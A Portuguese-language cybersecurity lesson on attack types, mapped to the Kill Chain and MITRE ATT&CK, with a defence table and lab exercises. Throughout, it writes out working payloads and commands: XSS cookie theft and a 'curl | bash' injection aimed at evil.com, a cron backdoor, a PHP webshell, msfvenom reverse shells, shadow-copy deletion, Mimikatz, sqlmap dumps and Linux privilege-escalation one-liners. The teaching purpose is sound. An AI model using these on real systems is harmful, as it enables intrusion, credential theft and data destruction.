Tipos de Ataques
Conheça seu inimigo
Para defender sistemas, é essencial entender como os atacantes pensam e quais técnicas utilizam.
⚖️ Limite Legal (Art. 154-A do Código Penal)
Invasão de dispositivo informático alheio sem autorização é crime, com pena de 1 a 4 anos de reclusão mais multa (agravada quando envolve sistemas públicos ou dados pessoais). O que diferencia pentest de crime é a autorização por escrito. Todo exercício prático desta aula ocorre exclusivamente em laboratórios legais: PortSwigger Web Security Academy, DVWA, OWASP Juice Shop na sua VM, TryHackMe e Hack The Box.
🗺️ Taxonomia Geral de Ataques
mindmap root((Ataques)) Engenharia Social Phishing Pretexting Typosquatting Credenciais Força Bruta Pass-the-Hash Session Hijacking Rede MitM Spoofing Pharming Eavesdropping Aplicação Web SQLi XSS CSRF SSRF RCE Malware Ransomware Backdoor Trojan Disponibilidade DoS DDoS Infra e Escalada Privilege Escalation Supply Chain
🔗 Cyber Kill Chain (Lockheed Martin)
O modelo Cyber Kill Chain descreve as 7 fases que um atacante percorre do reconhecimento até o impacto. Conhecer cada fase permite tanto executar um ataque estruturado em lab quanto detectar onde houve falha na defesa.
flowchart LR A["1. Reconnaissance<br/>(OSINT, varredura)"] --> B["2. Weaponization<br/>(exploit + payload)"] B --> C["3. Delivery<br/>(phishing, USB, web)"] C --> D["4. Exploitation<br/>(execução da vuln)"] D --> E["5. Installation<br/>(backdoor, persistence)"] E --> F["6. C2<br/>(Command & Control)"] F --> G["7. Actions on Objectives<br/>(exfiltração, ransomware)"]
| Fase Kill Chain | Técnica Típica | Exemplo Concreto |
|---|---|---|
| Reconnaissance | OSINT, Shodan, nmap | Mapear portas abertas do alvo |
| Weaponization | Gerar payload com msfvenom | msfvenom -p linux/x64/shell_reverse_tcp LHOST=... -f elf |
| Delivery | Phishing com link malicioso | E-mail com URL para exploit kit |
| Exploitation | SQLi, XSS, RCE via buffer overflow | ' OR 1=1-- em campo de login |
| Installation | Cron job malicioso, rootkit | `echo ”* * * * * /tmp/.backdoor” |
| C2 | Conexão reversa TCP, DNS tunneling | Metasploit handler aguardando shell |
| Actions | Exfiltração de banco, cifragem com AES | Dump de /etc/shadow, criptografia de NAS |
🛡️ MITRE ATT&CK: Táticas e Técnicas (Enterprise v16/2025)
O MITRE ATT&CK é o catálogo mais completo de TTPs (Tactics, Techniques & Procedures) observados em ataques reais. A versão atual é a v18.1 (dez/2025), cobrindo 14 táticas para Enterprise.
flowchart TD T1["TA0043: Reconnaissance"] --> T2["TA0042: Resource Development"] T2 --> T3["TA0001: Initial Access"] T3 --> T4["TA0002: Execution"] T4 --> T5["TA0003: Persistence"] T5 --> T6["TA0004: Privilege Escalation"] T6 --> T7["TA0005: Defense Evasion"] T7 --> T8["TA0006: Credential Access"] T8 --> T9["TA0007: Discovery"] T9 --> T10["TA0008: Lateral Movement"] T10 --> T11["TA0009: Collection"] T11 --> T12["TA0010: Exfiltration"] T11 --> T13["TA0011: Command & Control"] T12 --> T14["TA0040: Impact"]
🔎 Como usar o ATT&CK no lab
Acesse attack.mitre.org, escolha uma técnica (ex.: T1190 “Exploit Public-Facing Application”) e veja quais grupos APT a usam, quais ferramentas empregam e quais detecções existem. Red teams mapeiam cada ação do exercício a uma técnica ATT&CK para gerar relatório estruturado.
🎣 Ataques de Engenharia Social
O Fator Humano
Muitos ataques exploram pessoas, não tecnologia. O elo mais fraco geralmente é o usuário.
Phishing
Enganar usuários através de e-mails, sites ou mensagens falsas para revelar informações pessoais, senhas ou dados bancários.
Como o atacante executa:
- Registra domínio visualmente similar ao alvo (ex:
paypa1.com) - Clona a página legítima com HTTrack ou wget
- Hospeda o clone e captura credenciais via script PHP simples
- Envia e-mail com link via GoPhish ou servidor SMTP próprio
- Coleta as credenciais no painel do GoPhish em tempo real
Variantes modernas:
- Spear phishing: alvo específico, com dados reais da vítima (nome, cargo, colega) obtidos via LinkedIn/OSINT
- Smishing: via SMS
- Vishing: ligação de voz com spoofing de caller ID
- QRishing: QR codes em locais físicos apontando para sites falsos
Social Engineering
Manipulação psicológica para obter informações confidenciais. Pode envolver ligações telefônicas, presença física ou interações online.
Técnicas de persuasão usadas pelo atacante:
- Autoridade: fingir ser TI, gerente, banco
- Urgência: “sua conta será bloqueada em 2 horas”
- Reciprocidade: oferecer ajuda antes de pedir algo
- Prova social: “todos os outros já atualizaram”
Typosquatting
Registro de domínios com erros de digitação comuns (ex: gooogle.com) para capturar usuários desatentos.
🔐 Ataques de Credenciais
Quebrando Senhas
Ataques focados em obter ou contornar mecanismos de autenticação.
Força Bruta
Tentativas repetidas e sistemáticas de adivinhar credenciais, testando todas as combinações possíveis.
Como o atacante executa:
- Dicionário: wordlists como
rockyou.txtcom as 14 milhões de senhas mais vazadas - Regras: Hashcat com regras para variações (
senha→S3nh@,Senha123!) - Credential stuffing: usar pares login:senha de vazamentos anteriores em outros serviços
Ferramentas de lab: hydra, medusa, hashcat, john the ripper
# Exemplo didático (lab local apenas)
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"Por que funciona: reutilização de senhas (credential stuffing tem taxa de sucesso de 0,1% a 2%, que em vazamentos de 100 milhões de registros ainda equivale a centenas de milhares de contas comprometidas).
Pass-the-Hash
Uso indevido de hashes de senha capturados para autenticação, sem precisar saber a senha original.
Como o atacante executa:
- Obtém acesso inicial à máquina (qualquer usuário)
- Extrai hashes NTLM da memória do processo
lsass.exevia Mimikatz:sekurlsa::logonpasswords - Usa o hash diretamente para autenticar em outros sistemas da rede:
pth-winexe -U DOMINIO/Admin%[hash] //alvo cmd - Sem precisar saber a senha em texto claro, obtém acesso lateral a toda a rede Windows
ATT&CK: T1550.002 “Use Alternate Authentication Material: Pass the Hash”
Session Hijacking
Roubo e uso de tokens de sessão válidos para assumir a identidade de um usuário autenticado.
Como o atacante executa:
- Intercepta o cookie de sessão via XSS (
document.cookie) ou sniffing em redes abertas - Injeta o cookie no próprio navegador (DevTools → Application → Cookies)
- O servidor vê um cookie válido e aceita a sessão sem novo login
🌐 Ataques de Rede
Interceptação e Manipulação
Ataques que exploram a comunicação entre sistemas.
Man-in-the-Middle (MitM)
Interceptação de comunicações entre duas partes, permitindo espionagem ou modificação de dados em trânsito.
Como o atacante executa (ARP Poisoning):
- Fica na mesma rede local da vítima
- Envia pacotes ARP Reply falsos: diz à vítima que o MAC do gateway é o seu MAC; diz ao gateway que o MAC da vítima é o seu MAC
- Todo tráfego passa pela máquina do atacante
- Usa Wireshark ou mitmproxy para capturar/modificar o tráfego
# Lab local com arpspoof (apenas em rede própria de lab)
arpspoof -i eth0 -t [IP-vitima] [IP-gateway]
arpspoof -i eth0 -t [IP-gateway] [IP-vitima]ATT&CK: T1557 “Adversary-in-the-Middle”
Por que ainda funciona em 2026: redes Wi-Fi sem WPA3, switches não configurados com Dynamic ARP Inspection (DAI), e protocolos legados (HTTP, FTP, Telnet) sem criptografia.
Eavesdropping
Escuta passiva de comunicações privadas para coletar informações sensíveis.
Spoofing
Falsificação de identidade, seja de endereços IP, MAC, e-mails ou outros identificadores.
IP Spoofing: usado principalmente em ataques DDoS de amplificação (o atacante envia requisições UDP com IP de origem falsificado apontando para a vítima; os servidores respondem para a vítima com tráfego amplificado em até 51x no DNS amplification).
Pharming
Redirecionamento de tráfego legítimo para sites fraudulentos através de manipulação de DNS.
Como o atacante executa:
- DNS Cache Poisoning: injeta entradas falsas no cache de servidores DNS recursivos
- Hosts file poisoning: modifica
C:\Windows\System32\drivers\etc\hostsna máquina da vítima via malware
💻 Ataques a Aplicações Web
Vulnerabilidades de Software
Exploração de falhas em aplicações web e sistemas. As técnicas abaixo estão mapeadas no OWASP Top 10 2025 (A05: Injection, A01: Broken Access Control).
🔴 SQL Injection (SQLi)
O que é: o atacante insere código SQL em campos de entrada (login, busca, URL) que são concatenados diretamente na query do banco de dados, alterando a lógica da consulta.
Como o atacante executa, passo a passo:
Passo 1: Detectar a vulnerabilidade
# Injetar aspas simples e observar erro
username: '
# Erro de banco de dados visível = vulnerável
Passo 2: Confirmar com payload booleano
# True: retorna resultado normal
username: admin'--
# False: não retorna nada ou retorna diferente
username: admin' AND 1=2--
Passo 3: UNION-based (exfiltrar dados)
-- Primeiro, descobrir número de colunas:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (se der erro, há 2 colunas)
-- Depois, exfiltrar:
' UNION SELECT username, password FROM users--Passo 4: Blind SQL Injection (quando não há output visível)
-- Boolean-based: inferir bit a bit
' AND SUBSTRING(password,1,1)='a'--
-- Time-based: usar delay como canal de saída
' AND SLEEP(5)-- (MySQL)
' AND 1=1; WAITFOR DELAY '0:0:5'-- (MSSQL)Passo 5: Automação com SQLmap
sqlmap -u "http://alvo.com/produto?id=1" --dbs --batch
sqlmap -u "http://alvo.com/produto?id=1" -D loja -T usuarios --dumpImpacto real: dump completo do banco de dados (usuários, senhas, dados pessoais), bypass de autenticação (' OR '1'='1), em casos extremos execução de comandos no SO via xp_cmdshell (MSSQL).
ATT&CK: T1190 “Exploit Public-Facing Application”
🧪 Atividade 1: SQLi no PortSwigger Web Security Academy
Plataforma: portswigger.net/web-security/sql-injection (gratuito, sem cadastro de cartão) Lab: “SQL injection vulnerability in WHERE clause allowing retrieval of hidden data” Passos:
- Acesse o lab e clique em “Access the lab”
- Navegue até a categoria de produtos (ex: Gifts)
- Na URL você verá:
?category=Gifts- Modifique para:
?category=Gifts' OR 1=1--- Observe que TODOS os produtos aparecem, incluindo os não publicados Payload:
' OR 1=1--Prova da exploração: a página exibe produtos comreleased=0(ocultos) ao lado dos normais. O lab exibe o banner “Congratulations, you solved the lab!” quando bem-sucedido. Segundo lab recomendado: “SQL injection attack, querying the database type and version on MySQL and Microsoft” para praticar UNION-based.
🔴 Cross-Site Scripting (XSS)
O que é: o atacante injeta código JavaScript malicioso em uma página web. Quando outro usuário abre essa página, o script executa no contexto do navegador da vítima, podendo roubar cookies, redirecionar para phishing ou capturar teclas.
Três variantes do ponto de vista ofensivo:
| Tipo | Como persiste | Alvo | Impacto |
|---|---|---|---|
| Reflected | Não persiste, URL | Usuário específico | Roubo de sessão via link |
| Stored | Persiste no banco | Todos os visitantes | Worm, defacement, mass cookie theft |
| DOM-based | Só no cliente JS | Usuário específico | Bypass de CSP server-side |
Como o atacante executa (Stored XSS):
- Encontra campo que aceita entrada e exibe para outros usuários (comentário, perfil, fórum)
- Injeta:
<script>document.location='https://evil.com/steal?c='+document.cookie</script> - Quando qualquer usuário (inclusive admin) visita a página, o cookie é enviado ao servidor do atacante
- O atacante usa o cookie capturado para sequestrar a sessão do admin
Bypass de filtros básicos (técnica ofensiva):
<!-- Quando <script> é bloqueado -->
<img src=x onerror="alert(document.cookie)">
<svg onload="fetch('https://evil.com?c='+btoa(document.cookie))">
<body onpageshow="javascript:alert(1)">
<!-- Encoding para bypass -->
<script>eval(atob('YWxlcnQoMSk='))</script>Payload de roubo de cookie completo:
new Image().src='https://evil.com/steal?c='+encodeURIComponent(document.cookie)ATT&CK: T1059.007 “Command and Scripting Interpreter: JavaScript”
🧪 Atividade 2: XSS no PortSwigger Web Security Academy
Plataforma: portswigger.net/web-security/cross-site-scripting (gratuito) Lab: “Reflected XSS into HTML context with nothing encoded” Passos:
- Acesse o lab e use a barra de busca
- Digite qualquer termo e observe que ele aparece refletido na página
- No campo de busca, insira:
<script>alert(1)</script>- Envie a busca Payload:
<script>alert(1)</script>Prova da exploração: o navegador exibe um pop-up com “1”. O banner “Congratulations, you solved the lab!” confirma o sucesso. Próximo nível: lab “Stored XSS into HTML context with nothing encoded” para praticar o tipo mais perigoso (afeta todos os visitantes).
🔴 CSRF (Cross-Site Request Forgery)
O que é: o atacante engana o navegador autenticado da vítima para enviar requisições não intencionais a um site onde ela tem sessão ativa. O servidor não consegue distinguir a requisição legítima da forjada porque ambas carregam o cookie válido.
Como o atacante executa:
- Identifica uma ação que muda estado no servidor (transferência, troca de e-mail, mudança de senha) e é feita via POST/GET sem token CSRF
- Cria uma página HTML maliciosa:
<html>
<body onload="document.getElementById('f').submit()">
<form id="f" action="https://banco.com/transferir" method="POST">
<input name="valor" value="5000">
<input name="destino" value="conta-do-atacante">
</form>
</body>
</html>- Convence a vítima (já logada no banco) a visitar essa página
- O navegador da vítima envia automaticamente a requisição com o cookie de sessão válido
- O banco processa a transferência como se fosse legítima
Diferença XSS vs CSRF: XSS executa código no contexto do site alvo (tem acesso a cookies, DOM, localStorage). CSRF apenas forja uma requisição autenticada, sem acesso ao conteúdo da resposta.
ATT&CK: T1185 “Browser Session Hijacking”
🔴 SSRF (Server-Side Request Forgery)
O que é: o atacante faz o servidor da aplicação realizar requisições HTTP para destinos arbitrários, incluindo serviços internos inacessíveis externamente e o serviço de metadados de instâncias cloud.
Como o atacante executa:
Cenário 1: Acesso a serviços internos
# Aplicação busca URL fornecida pelo usuário:
POST /fetch-url
url=http://interno:8080/admin/users
# O servidor (com acesso à rede interna) faz a requisição e retorna o resultado
Cenário 2: Roubo de credenciais AWS via metadata service (campanha real de 2025)
# URL alvo do SSRF em instância EC2:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Resposta: nome da role IAM
# Segunda requisição:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/MinhaRole
# Resposta: AccessKeyId, SecretAccessKey, Token temporário
# Com essas credenciais o atacante acessa S3, EC2, RDS de toda a conta AWS
Protocolo além de HTTP: file:///etc/passwd, dict://, gopher:// para explorar outros serviços internos.
ATT&CK: T1552.005 “Unsecured Credentials: Cloud Instance Metadata API”
Impacto real: em 2025, campanhas ativas de SSRF miraram instâncias EC2 com SSRF para exfiltrar credenciais IAM temporárias e obter acesso completo a contas AWS de empresas.
🔴 RCE (Remote Code Execution)
O que é: o atacante consegue executar comandos arbitrários no sistema operacional do servidor, frequentemente como consequência de outros ataques (SQLi avançado, deserialização insegura, template injection, upload de arquivo malicioso).
Vetores comuns de RCE:
1. Command Injection (derivado de input não sanitizado)
# Código vulnerável (Python)
import os
filename = request.args.get('file')
os.system(f"convert {filename} output.pdf")
# Payload do atacante:
file=foto.jpg; curl https://evil.com/shell.sh | bash2. File Upload + Webshell
# Fazer upload de arquivo PHP como "foto.jpg"
# Se o servidor não valida content-type:
<?php system($_GET['cmd']); ?>
# Acessar via URL: /uploads/foto.jpg.php?cmd=id3. Server-Side Template Injection (SSTI)
# Em templates Jinja2 (Python/Flask):
{{7*7}} → retorna 49 (confirma SSTI)
{{config.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
ATT&CK: T1190 + T1059 “Command and Scripting Interpreter”
🧪 Atividade 3: Exploração no OWASP Juice Shop
Plataforma: demo.owasp-juice.shop (online) ou
docker run -p 3000:3000 bkimminich/juice-shopna sua VM Desafio: “Login Admin” (1 estrela, nível iniciante) Passos:
- Acesse a tela de login do Juice Shop
- No campo de e-mail, insira:
' OR 1=1--- No campo de senha, insira qualquer coisa (ex:
abc)- Clique em Login Payload:
' OR 1=1--(SQLi que faz a query retornar o primeiro usuário do banco, que é o admin) Prova da exploração: você é logado comoadmin@juice-sh.op. O painel de “Score Board” registra o desafio como resolvido com o troféu aceso. Segundo desafio recomendado: “DOM XSS” no campo de busca com payload<iframe src="javascript:alert('xss')">para ver XSS DOM-based em ação.
Zero Day
Exploração de vulnerabilidades desconhecidas pelos desenvolvedores, para as quais não existe correção disponível.
Como o atacante encontra e usa:
- Fuzzing automatizado com AFL++, libFuzzer para descobrir crashes
- Análise de binários com Ghidra, IDA Pro para encontrar falhas em código fechado
- Venda no mercado de 0days: preços de $50.000 a $2,5 milhões dependendo do alvo (iOS remote jailbreak chegou a US$ 2,5M na Zerodium em 2024)
- Grupos APT nacionais mantêm stockpile de 0days para uso estratégico
🦠 Ataques com Malware
Software Malicioso
Programas criados para causar danos, roubar dados ou obter acesso não autorizado.
Malware (Geral)
Categoria ampla que inclui vírus, worms, trojans, spyware e outros softwares maliciosos.
Classificação pelo mecanismo de propagação:
| Tipo | Propagação | Ação Principal |
|---|---|---|
| Vírus | Infecta arquivos legítimos | Executa ao abrir o arquivo hospedeiro |
| Worm | Auto-propaga pela rede (sem user action) | EternalBlue (MS17-010) varreu a internet em horas |
| Trojan | Disfarçado de software legítimo | RAT (Remote Access Trojan), keylogger |
| Spyware | Instalação silenciosa | Captura teclas, telas, microfone |
| Rootkit | Modifica o SO para se esconder | Hookeia chamadas de sistema, invisível ao ls |
| Botnet | C2 centralizado ou P2P | DDoS, spam, mineração de cripto |
🔴 Ransomware
O que é e como o atacante opera (Cyber Kill Chain completo, 2025-2026):
O ransomware moderno é operado por grupos profissionais com modelo RaaS (Ransomware-as-a-Service): afiliados compram acesso à plataforma, executam os ataques e dividem o resgate (típico: 70/30 para o afiliado).
Fase 1: Acesso Inicial (TA0001)
- Phishing com anexo malicioso (macros Office, LNK, ISO)
- Exploração de VPN/RDP expostos (vulnerabilidades em Fortinet, Citrix, Ivanti foram vetores tops em 2025)
- Compra de acesso de Initial Access Brokers (IABs) no dark web
Fase 2: Reconhecimento e Movimento Lateral (TA0007 + TA0008)
net view,arp -a, BloodHound para mapear o AD- Pass-the-Hash, PtT (Pass-the-Ticket Kerberos), Golden Ticket
- Movimento para Domain Controller é o objetivo principal
Fase 3: Evasão e Persistência (TA0005 + TA0003)
- Em 2026, “EDR killers” (drivers maliciosos assinados) se tornaram padrão nos ataques
- Desabilitar Windows Defender, desligar serviços de backup (VSS Shadow Copies)
vssadmin delete shadows /all /quiet
Fase 4: Exfiltração (TA0010) “Double Extortion”
- Exfiltrar dados ANTES de criptografar
- Usar Rclone, MEGAsync, FTP para enviar arquivos ao C2
- Ameaça dupla: pagar para decriptar E pagar para não publicar os dados
Fase 5: Impacto (TA0040)
- Implantar o payload de cifragem (AES-256 para arquivos, RSA-2048 para proteger a chave AES)
- Apagar backups locais, shadow copies
- Deixar nota de resgate em cada pasta
Dados de 2026: ataques explorando aplicações públicas cresceram 44% em relação a 2025. Número de grupos ativos de ransomware cresceu 49%. Resgates médios ultrapassaram US$ 1,5M para alvos corporativos.
sequenceDiagram participant A as Atacante participant V as Vítima (Rede Corporativa) participant C as C2 Server A->>V: Phishing / RDP bruteforce (Acesso Inicial) V->>A: Shell reversa ou acesso RDP A->>V: BloodHound + recon interno A->>V: Lateral movement via PtH para DC V->>C: Exfiltração de dados (Rclone) A->>V: Deploy ransomware + apagar VSS V->>V: Cifragem AES-256 de todos os arquivos A->>V: Nota de resgate (README_DECRYPT.txt)
Backdoor
Acesso oculto deixado em um sistema para permitir entrada futura sem autenticação normal.
Como o atacante instala:
- Webshell: arquivo PHP/ASPX oculto em servidor web
- Cron job malicioso:
*/5 * * * * curl evil.com/payload.sh | bash - Modificação de binário legítimo: substituir
sshdpor versão backdoored - Supply Chain: embutir backdoor em dependência open source (caso XZ Utils 2024: backdoor no liblzma com 3 estágios de ofuscação, CVSS 10.0, comprometeu openssh em milhões de sistemas)
🚫 Ataques de Negação de Serviço
Indisponibilidade
Ataques que visam tornar sistemas ou serviços inacessíveis.
DoS (Denial of Service)
Sobrecarga de um sistema individual com requisições ou tráfego para torná-lo inacessível.
Tipos por camada OSI:
| Camada | Tipo | Exemplo |
|---|---|---|
| L3/L4 (Rede) | Volumétrico | ICMP flood, UDP flood |
| L4 (Transporte) | SYN flood | Forjar pacotes SYN sem completar handshake TCP |
| L7 (Aplicação) | HTTP flood, Slowloris | Requisições legítimas em volume ou conexões lentas |
Amplificação (técnica ofensiva): o atacante envia pequenas requisições com IP de origem falsificado (spoofed) da vítima para servidores que respondem com muito mais dados. DNS amplification: fator 51x. NTP amplification: fator 556x. SSDP: fator 30x. Resultado: com 1 Gbps de capacidade de envio, o atacante gera até 556 Gbps de tráfego na vítima.
DDoS (Distributed DoS)
Ataque DoS realizado a partir de múltiplas fontes simultaneamente, geralmente usando botnets.
Como o atacante monta uma botnet:
- Comprometer milhares de dispositivos IoT com credenciais padrão (Mirai-style:
admin/admin,root/1234) - Instalar agente que aguarda comandos do C2
- No ataque, enviar comando para toda a botnet mirar o alvo simultaneamente
ATT&CK: T1498 “Network Denial of Service”
🔼 Escalada de Privilégio
🔑 De usuário comum a root/SYSTEM
Uma das fases mais críticas do kill chain: o atacante raramente obtém acesso root direto. Primeiro obtém acesso com baixo privilégio, depois escala.
ATT&CK: TA0004 “Privilege Escalation” (dezenas de técnicas documentadas)
Linux: Vetores Principais
1. SUID Binaries
# Encontrar binários com SUID (executam como root, independente do usuário)
find / -perm -4000 -type f -ls 2>/dev/null
# Se /usr/bin/find tem SUID:
/usr/bin/find . -exec /bin/sh -p \; -quit
# -p = preservar UID efetivo (root)
# GTFOBins (gtfobins.github.io): lista de binários Unix que permitem escalar
# python, vim, awk, nmap, tar, bash com SUID = root imediato2. PATH Hijacking
# Script root que chama 'ls' sem caminho absoluto:
# /usr/local/sbin/check.sh: ls /home/
# Atacante cria 'ls' malicioso em diretório próprio:
echo "/bin/bash" > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
# Executa o script root (via sudo, cron, SUID):
sudo /usr/local/sbin/check.sh
# '/ls' encontrado em /tmp primeiro → executa /bin/bash como root3. Sudo Misconfiguration
# Ver o que pode rodar como sudo sem senha:
sudo -l
# Se aparecer: (ALL) NOPASSWD: /usr/bin/vim
vim -c ':!/bin/sh' # shell root imediata4. Cron Jobs com paths inseguros
# Verificar cron jobs do root:
cat /etc/crontab
ls -la /etc/cron.*
# Se o script chamado é editável pelo atacante ou usa path sem /usr/bin absoluto:
echo "chmod +s /bin/bash" >> /script-do-cron.sh
# Aguardar cron executar como root; depois: bash -p → root shellWindows: Vetores Principais
1. DLL Hijacking
- Aplicações buscam DLLs em ordem: diretório do app, System32, PATH
- Se o diretório do app é editável pelo atacante, substituir ou criar a DLL ausente com código malicioso
- Quando a aplicação (rodando como SYSTEM/admin) carrega a DLL, executa o payload
2. Token Impersonation
- Se o serviço tem SeImpersonatePrivilege (comum em serviços IIS, SQL Server), usar JuicyPotato/PrintSpoofer para obter token SYSTEM
whoami /privpara verificar privilégios
3. AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Se = 1: qualquer .msi instalado com privilégios SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=... -f msi > shell.msi
msiexec /quiet /qn /i shell.msi
⛓️ Supply Chain Attacks
🏭 Comprometer a cadeia de fornecimento de software
Em vez de atacar o alvo diretamente (que pode ter boa defesa), o atacante compromete um fornecedor, ferramenta ou dependência de confiança.
Por que é devastador: uma única compromissão pode atingir dezenas de milhares de organizações simultaneamente, pois todas confiam no mesmo componente.
Casos históricos e técnicas:
| Caso | Ano | Técnica | Impacto |
|---|---|---|---|
| SolarWinds Orion | 2020 | Build pipeline comprometido: DLL backdoor inserida no processo de compilação | 18.000 organizações, incluso agências federais US |
| Log4Shell (Log4j) | 2021 | Vulnerabilidade em biblioteca onipresente: JNDI lookup → RCE | Estimado 93% das clouds corporativas afetadas |
| XZ Utils (liblzma) | 2024 | Social engineering de 2 anos sobre mantenedor burnout: backdoor 3 estágios em compressor | Comprometeu openssh em distros Linux; CVSS 10.0 |
| Polyfill.io | 2024 | Domínio de biblioteca JS amplamente usada vendido; novo dono inseriu redirect malicioso | +100.000 sites afetados |
Como o atacante opera (XZ Utils como estudo de caso):
- Cria identidade falsa (JiaT75), contribui com patches úteis por 2 anos, constrói reputação
- Aborda mantenedor esgotado com engenharia social, oferece “ajuda com manutenção”
- Torna-se co-mantenedor
- Insere backdoor com 3 estágios de ofuscação: Stage-A (bash script), Stage-B (carving de bytes em test files), Stage-C (binary final via RC4 + decompressão)
- Backdoor bypassa autenticação SSH quando carregado via systemd em distros com liblzma linkado ao openssh
ATT&CK: T1195 “Supply Chain Compromise”
OWASP Top 10 2025: categoria A03:2025 “Software Supply Chain Failures” é nova, refletindo a explosão desses ataques. Terceiros são responsáveis por 30% de todos os vazamentos de dados.
📊 Tabela Mestre: Ataque × Como o Atacante Faz × Defesa
| Ataque | Como o Atacante Executa | Defesa Principal |
|---|---|---|
| Phishing | Clone de site + GoPhish + domínio similar | MFA, treinamento, DMARC/DKIM/SPF |
| Força Bruta | Hydra + rockyou.txt / credential stuffing | Rate limiting, lockout, MFA, senhas longas |
| Pass-the-Hash | Mimikatz sekurlsa::logonpasswords | Credential Guard, LSA Protection, tiering de admin |
| MitM (ARP) | arpspoof nas 2 direções na LAN | Dynamic ARP Inspection (DAI) em switches, HTTPS, MTA-STS |
| SQL Injection | UNION-based, blind, SQLmap | Prepared statements, ORM, WAF, princípio do menor privilégio no BD |
| XSS Stored | <script>fetch(evil+document.cookie)</script> em input persistido | CSP, output encoding, HttpOnly cookies |
| CSRF | Página HTML com form auto-submit | Tokens CSRF, SameSite cookies, verificação de Origin |
| SSRF | url=http://169.254.169.254/... para metadata AWS | IMDSv2, allowlist de destinos, segmentação de rede |
| RCE | Command injection, SSTI, webshell upload | Sanitização rigorosa, não executar input do usuário, upload validation |
| Ransomware | Kill chain completo: phish → lateral → DC → cifra | Backup offsite imutável, EDR, segmentação, patch, MFA em RDP/VPN |
| Priv Esc (Linux) | SUID GTFOBins, PATH hijack, sudo -l | Auditar SUID com find, PATH absoluto em scripts root |
| Supply Chain | Comprometer dep/build/mantenedor | SCA (SBOM), lockfiles, signature verification, SLSA framework |
| DDoS | Botnet + amplificação DNS/NTP | Anycast, scrubbing center, rate limiting, BCP38 |
| Session Hijacking | Captura de cookie via XSS ou sniffing | HttpOnly, Secure, SameSite=Strict; HTTPS everywhere |
🔢 OWASP Top 10 2025 (Web)
O OWASP Top 10 2025 analisou 589 CWEs (contra ~400 na versão 2021) e reflete a crescente complexidade dos sistemas modernos.
| Posição | Categoria | O Que Engloba |
|---|---|---|
| A01:2025 | Broken Access Control | Escalonamento horizontal/vertical, IDOR, SSRF (incorporado aqui) |
| A02:2025 | Security Misconfiguration | Defaults inseguros, headers ausentes, cloud misconfiguration |
| A03:2025 | Software Supply Chain Failures | NOVO: deps vulneráveis, build system, distribuição comprometida |
| A04:2025 | Cryptographic Failures | Dados em trânsito/repouso sem cifragem, algoritmos fracos |
| A05:2025 | Injection | SQLi, OS command injection, LDAP injection, template injection |
| A06:2025 | Insecure Design | Falhas arquiteturais, ausência de threat modeling |
| A07:2025 | Identification and Authentication Failures | MFA ausente, sessões fracas, credential stuffing |
| A08:2025 | Data Integrity Failures | Deserialização insegura, updates sem verificação de assinatura |
| A09:2025 | Security Logging and Alerting Failures | Ausência de logs, alertas não acionáveis |
| A10:2025 | Mishandling of Exceptional Conditions | NOVO: error handling que falha aberto, logical errors |
📚 Fontes (2026)
- OWASP Top 10:2025: lista oficial com 589 CWEs analisados
- MITRE ATT&CK v18.1: táticas e técnicas Enterprise atualizadas dez/2025
- PortSwigger Web Security Academy: labs gratuitos de SQLi, XSS, CSRF, SSRF, RCE
- Ransomware Kill Chain 2025 (AKATI): fases detalhadas com técnicas atuais
- Breaking the Ransomware Kill Chain (VMware 2026): EDR killers e tendências 2026
- SSRF to AWS Metadata (Resecurity): campanha real de SSRF em EC2
- Closing the Chain: SolarWinds, Log4j, XZ Utils (arxiv 2025): análise técnica de supply chain attacks
- SQL Injection 2026 Guide (Hive Security): UNION-based, blind, ORM bypass, WAF evasion
- GTFOBins: binários Unix para escalada de privilégio
- HackTricks Cloud SSRF: exploração em AWS, GCP, Azure
- Securelist Ransomware 2026: estatísticas e tendências
📊 Resumo Visual
| Categoria | Exemplos | Alvo Principal |
|---|---|---|
| Engenharia Social | Phishing, Pretexting | Pessoas |
| Credenciais | Força Bruta, Pass-the-Hash | Autenticação |
| Rede | MitM, Spoofing | Comunicação |
| Aplicação | SQLi, XSS, CSRF, SSRF, RCE | Software |
| Malware | Ransomware, Trojan | Sistemas |
| DoS/DDoS | Flood, Amplification | Disponibilidade |
| Escalada | SUID, DLL Hijack, Token Impersonation | Privilégios |
| Supply Chain | SolarWinds, XZ Utils, Polyfill.io | Cadeia de fornecimento |